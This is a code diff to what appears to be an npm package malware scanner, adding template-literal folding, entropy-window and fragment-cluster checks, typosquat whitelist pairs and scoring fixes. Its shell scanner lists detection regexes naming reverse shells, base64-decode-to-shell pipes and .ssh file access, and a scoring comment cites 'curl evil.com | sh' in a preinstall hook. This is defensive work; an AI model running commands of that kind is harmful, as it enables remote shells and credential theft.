208
|
-
|
|
209
|
-
|
|
221
|
+
// Standard: const x = 'literal'
|
|
222
|
+
if (decl.id?.type === 'Identifier') {
|
|
223
|
+
if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
|
|
224
|
+
constMap.set(decl.id.name, {
|
|
225
|
+
value: decl.init.value,
|
|
226
|
+
declStart: decl.init.start,
|
|
227
|
+
declEnd: decl.init.end
|
|
228
|
+
});
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
// Array destructuring: const [a, b] = ['child_', 'process']
|
|
232
|
+
if (decl.id?.type === 'ArrayPattern' && decl.init?.type === 'ArrayExpression') {
|
|
233
|
+
for (let i = 0; i < decl.id.elements.length && i < decl.init.elements.length; i++) {
|
|
234
|
+
if (decl.id.elements[i]?.type === 'Identifier' &&
|
|
235
|
+
decl.init.elements[i]?.type === 'Literal' &&
|
|
236
|
+
typeof decl.init.elements[i].value === 'string') {
|
|
237
|
+
constMap.set(decl.id.elements[i].name, {
|
|
238
|
+
value: decl.init.elements[i].value,
|
|
239
|
+
declStart: decl.init.elements[i].start,
|
|
240
|
+
declEnd: decl.init.elements[i].end
|
|
241
|
+
});
|
|
242
|
+
}
|
|
243
|
+
}
|
|
210
244
|
}
|
|
211
245
|
}
|
|
212
246
|
},
|
|
@@ -349,6 +383,23 @@ function tryFoldConcat(node, depth) {
|
|
|
349
383
|
if (node.type === 'Literal' && typeof node.value === 'string') {
|
|
350
384
|
return node.value;
|
|
351
385
|
}
|
|
386
|
+
// TemplateLiteral without expressions → direct string
|
|
387
|
+
if (node.type === 'TemplateLiteral' && node.expressions.length === 0) {
|
|
388
|
+
return node.quasis.map(q => q.value.cooked).join('');
|
|
389
|
+
}
|
|
390
|
+
// TemplateLiteral with resolvable expressions
|
|
391
|
+
if (node.type === 'TemplateLiteral' && node.expressions.length > 0) {
|
|
392
|
+
const parts = [];
|
|
393
|
+
for (let i = 0; i < node.quasis.length; i++) {
|
|
394
|
+
parts.push(node.quasis[i].value.cooked);
|
|
395
|
+
if (i < node.expressions.length) {
|
|
396
|
+
const v = tryFoldConcat(node.expressions[i], depth + 1);
|
|
397
|
+
if (v === null) return null;
|
|
398
|
+
parts.push(v);
|
|
399
|
+
}
|
|
400
|
+
}
|
|
401
|
+
return parts.join('');
|
|
402
|
+
}
|
|
352
403
|
if (node.type === 'BinaryExpression' && node.operator === '+') {
|
|
353
404
|
const left = tryFoldConcat(node.left, depth + 1);
|
|
354
405
|
if (left === null) return null;
|
package/src/scanner/entropy.js
CHANGED
|
@@ -228,7 +228,26 @@ function scanEntropy(targetPath, options = {}) {
|
|
|
228
228
|
const strings = extractStringLiterals(content);
|
|
229
229
|
for (const str of strings) {
|
|
230
230
|
if (str.length < MIN_STRING_LENGTH) continue;
|
|
231
|
-
|
|
231
|
+
|
|
232
|
+
// B12: Windowed analysis for strings > MAX_STRING_LENGTH
|
|
233
|
+
if (str.length > MAX_STRING_LENGTH) {
|
|
234
|
+
if (SOURCE_MAP_REGEX.test(str) || SHA256_HEX_REGEX.test(str)) continue;
|
|
235
|
+
const WINDOW = 500, WIN_THRESHOLD = 6.0;
|
|
236
|
+
for (let i = 0; i < str.length; i += WINDOW) {
|
|
237
|
+
const w = str.slice(i, i + WINDOW);
|
|
238
|
+
if (w.length < 20) continue;
|
|
239
|
+
if (calculateShannonEntropy(w) > WIN_THRESHOLD) {
|
|
240
|
+
threats.push({
|
|
241
|
+
type: 'high_entropy_string',
|
|
242
|
+
severity: ENCODING_TABLE_RE.test(relativePath) ? 'LOW' : 'MEDIUM',
|
|
243
|
+
message: `High entropy window in long string (${str.length} chars, offset ${i}) — possible padded payload`,
|
|
244
|
+
file: relativePath
|
|
245
|
+
});
|
|
246
|
+
break;
|
|
247
|
+
}
|
|
248
|
+
}
|
|
249
|
+
continue;
|
|
250
|
+
}
|
|
232
251
|
|
|
233
252
|
// Skip whitelisted patterns
|
|
234
253
|
if (isWhitelistedString(str, relativePath)) continue;
|
|
@@ -245,6 +264,23 @@ function scanEntropy(targetPath, options = {}) {
|
|
|
245
264
|
});
|
|
246
265
|
}
|
|
247
266
|
}
|
|
267
|
+
|
|
268
|
+
// B11: Fragment cluster — many short high-entropy strings = payload fragmentation
|
|
269
|
+
const FRAG_MIN = 8, FRAG_MAX = 49, FRAG_COUNT = 5, FRAG_ENTROPY = 4.5;
|
|
270
|
+
const frags = strings.filter(s =>
|
|
271
|
+
s.length >= FRAG_MIN && s.length <= FRAG_MAX &&
|
|
272
|
+
!SOURCE_MAP_REGEX.test(s) && !SHA256_HEX_REGEX.test(s) && !MD5_HEX_REGEX.test(s) &&
|
|
273
|
+
!UUID_REGEX.test(s) && !JWT_REGEX.test(s) &&
|
|
274
|
+
calculateShannonEntropy(s) > FRAG_ENTROPY
|
|
275
|
+
);
|
|
276
|
+
if (frags.length >= FRAG_COUNT) {
|
|
277
|
+
threats.push({
|
|
278
|
+
type: 'fragmented_high_entropy_cluster',
|
|
279
|
+
severity: ENCODING_TABLE_RE.test(relativePath) ? 'LOW' : 'MEDIUM',
|
|
280
|
+
message: `Fragment cluster: ${frags.length} short high-entropy strings (8-49 chars) — possible payload fragmentation.`,
|
|
281
|
+
file: relativePath
|
|
282
|
+
});
|
|
283
|
+
}
|
|
248
284
|
});
|
|
249
285
|
|
|
250
286
|
return threats;
|
package/src/scanner/shell.js
CHANGED
|
@@ -16,7 +16,10 @@ const MALICIOUS_PATTERNS = [
|
|
|
16
16
|
{ pattern: /(?:cat|readFile|cp|mv|curl\s+file:\/\/|tar\s+.*|scp\s+).*\.ssh/m, name: 'ssh_access', severity: 'HIGH' },
|
|
17
17
|
{ pattern: /python\s+-c.*import\s+socket/m, name: 'python_reverse_shell', severity: 'CRITICAL' },
|
|
18
18
|
{ pattern: /perl\s+-e.*socket/m, name: 'perl_reverse_shell', severity: 'CRITICAL' },
|
|
19
|
-
{ pattern: /mkfifo.*\/dev\/tcp/m, name: 'fifo_reverse_shell', severity: 'CRITICAL' }
|
|
19
|
+
{ pattern: /mkfifo.*\/dev\/tcp/m, name: 'fifo_reverse_shell', severity: 'CRITICAL' },
|
|
20
|
+
{ pattern: /mkfifo\s+\S+.*(?:\|\s*nc\s|nc\s+\S+.*>\s*\/tmp\/)/m, name: 'fifo_nc_reverse_shell', severity: 'CRITICAL' },
|
|
21
|
+
{ pattern: /base64\s+-d\b.*\|\s*(ba)?sh/m, name: 'base64_decode_exec', severity: 'CRITICAL' },
|
|
22
|
+
{ pattern: /wget\s+\S+.*&&.*base64\s+-d/m, name: 'wget_base64_decode', severity: 'HIGH' }
|
|
20
23
|
];
|
|
21
24
|
|
|
22
25
|
async function scanShellScripts(targetPath) {
|
package/src/scanner/typosquat.js
CHANGED
|
@@ -116,6 +116,20 @@ const WHITELIST = new Set([
|
|
|
116
116
|
]);
|
|
117
117
|
|
|
118
118
|
|
|
119
|
+
// B13: Pair-aware whitelist — only skip comparison with the specific popular package
|
|
120
|
+
const WHITELIST_PAIRS = new Map([
|
|
121
|
+
['chai', 'chalk'], ['pino', 'sinon'], ['ioredis', 'redis'],
|
|
122
|
+
['bcryptjs', 'bcrypt'], ['recast', 'react'], ['asyncdi', 'async'],
|
|
123
|
+
['redux', 'redis'], ['args', 'yargs'], ['oxlint', 'eslint'], ['vasync', 'async'],
|
|
124
|
+
['conf', 'config'], ['defu', 'debug'], ['ohash', 'lodash'], ['cors', 'colors'],
|
|
125
|
+
['meant', 'react'], ['whelk', 'chalk'], ['tslog', 'tslib'], ['mkdist', 'mkdirp'],
|
|
126
|
+
['jshint', 'eslint'], ['dtslint', 'eslint'], ['redis', 'redux'],
|
|
127
|
+
['cypress', 'express'], ['colord', 'colors'], ['read', 'react'],
|
|
128
|
+
['ulid', 'uuid'], ['tslint', 'eslint'], ['jison', 'sinon'],
|
|
129
|
+
['reds', 'redis'], ['docdash', 'lodash'], ['yarpm', 'yargs'],
|
|
130
|
+
['canvg', 'canvas'], ['mocks', 'mocha'], ['reactor', 'react']
|
|
131
|
+
]);
|
|
132
|
+
|
|
119
133
|
// Pre-computed lowercase versions for performance
|
|
120
134
|
const POPULAR_PACKAGES_LOWER = POPULAR_PACKAGES.map(p => p.toLowerCase());
|
|
121
135
|
|
|
@@ -317,9 +331,9 @@ async function scanTyposquatting(targetPath) {
|
|
|
317
331
|
function findTyposquatMatch(name) {
|
|
318
332
|
const nameLower = name.toLowerCase();
|
|
319
333
|
|
|
320
|
-
// Ignore les packages whitelistes
|
|
321
|
-
if (WHITELIST.has(nameLower)) return null;
|
|
322
|
-
|
|
334
|
+
// Ignore les packages whitelistes (B13: only skip entirely if not in pair-aware map)
|
|
335
|
+
if (WHITELIST.has(nameLower) && !WHITELIST_PAIRS.has(nameLower)) return null;
|
|
336
|
+
|
|
323
337
|
// Ignore les packages scoped (@org/package)
|
|
324
338
|
if (name.startsWith('@')) return null;
|
|
325
339
|
|
|
@@ -329,6 +343,9 @@ function findTyposquatMatch(name) {
|
|
|
329
343
|
// Ignore les packages avec suffixes legitimes courants
|
|
330
344
|
if (isLegitimateVariant(nameLower)) return null;
|
|
331
345
|
|
|
346
|
+
// B13: Get the specific popular package this whitelisted name is paired with
|
|
347
|
+
const pairedTarget = WHITELIST_PAIRS.get(nameLower);
|
|
348
|
+
|
|
332
349
|
for (let i = 0; i < POPULAR_PACKAGES.length; i++) {
|
|
333
350
|
const popularLower = POPULAR_PACKAGES_LOWER[i];
|
|
334
351
|
const popular = POPULAR_PACKAGES[i];
|
|
@@ -336,6 +353,9 @@ function findTyposquatMatch(name) {
|
|
|
336
353
|
// Ignore si c'est exactement le meme
|
|
337
354
|
if (nameLower === popularLower) continue;
|
|
338
355
|
|
|
356
|
+
// B13: Skip only the intended pair for whitelisted packages
|
|
357
|
+
if (pairedTarget && pairedTarget === popularLower) continue;
|
|
358
|
+
|
|
339
359
|
// Ignore si le package populaire est trop court
|
|
340
360
|
if (popular.length < MIN_PACKAGE_LENGTH) continue;
|
|
341
361
|
|
package/src/scoring.js
CHANGED
|
@@ -177,9 +177,21 @@ function applyFPReductions(threats, reachableFiles, packageName) {
|
|
|
177
177
|
// Threshold raised from >1 to >4 (audit fix: >1 was trivially exploitable).
|
|
178
178
|
const pluginLoaderCount = (typeCounts.dynamic_require || 0) + (typeCounts.dynamic_import || 0);
|
|
179
179
|
if (pluginLoaderCount > 4) {
|
|
180
|
+
// Per-file: only downgrade in files that individually exceed threshold
|
|
181
|
+
// Prevents attacker from distributing 5+ requires across files to downgrade all
|
|
182
|
+
const perFilePluginCount = {};
|
|
183
|
+
for (const t of threats) {
|
|
184
|
+
if (t.type === 'dynamic_require' || t.type === 'dynamic_import') {
|
|
185
|
+
const f = t.file || '(unknown)';
|
|
186
|
+
perFilePluginCount[f] = (perFilePluginCount[f] || 0) + 1;
|
|
187
|
+
}
|
|
188
|
+
}
|
|
180
189
|
for (const t of threats) {
|
|
181
190
|
if ((t.type === 'dynamic_require' || t.type === 'dynamic_import') && t.severity === 'HIGH') {
|
|
182
|
-
t.
|
|
191
|
+
const f = t.file || '(unknown)';
|
|
192
|
+
if (perFilePluginCount[f] > 4) {
|
|
193
|
+
t.severity = 'LOW';
|
|
194
|
+
}
|
|
183
195
|
}
|
|
184
196
|
}
|
|
185
197
|
}
|
|
@@ -199,7 +211,7 @@ function applyFPReductions(threats, reachableFiles, packageName) {
|
|
|
199
211
|
// vm_code_execution: full bypass — packages with only vm.Script calls (cassandra-driver,
|
|
200
212
|
// webpack, jest) are legitimate. Real malware using vm always has other signals
|
|
201
213
|
// (network, fs, obfuscation). The >3 count threshold is sufficient protection.
|
|
202
|
-
if (typeRatio < 0.
|
|
214
|
+
if (typeRatio < 0.4 ||
|
|
203
215
|
(t.type === 'suspicious_dataflow' && typeRatio < 0.8) ||
|
|
204
216
|
t.type === 'vm_code_execution') {
|
|
205
217
|
t.severity = rule.to;
|
|
@@ -296,7 +308,12 @@ function calculateRiskScore(deduped) {
|
|
|
296
308
|
}
|
|
297
309
|
|
|
298
310
|
// 4. Compute package-level score (typosquat, lifecycle, dependency IOC, etc.)
|
|
299
|
-
|
|
311
|
+
let packageScore = computeGroupScore(packageLevelThreats);
|
|
312
|
+
// Floor: CRITICAL package-level threats (lifecycle_shell_pipe, IOC match) → minimum HIGH (50)
|
|
313
|
+
// A single "curl evil.com | sh" in preinstall = 25 points = MEDIUM without floor.
|
|
314
|
+
if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
|
|
315
|
+
packageScore = Math.max(packageScore, 50);
|
|
316
|
+
}
|
|
300
317
|
|
|
301
318
|
// 5. Cross-file bonus: aggregate signal from non-max files
|
|
302
319
|
// A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.
|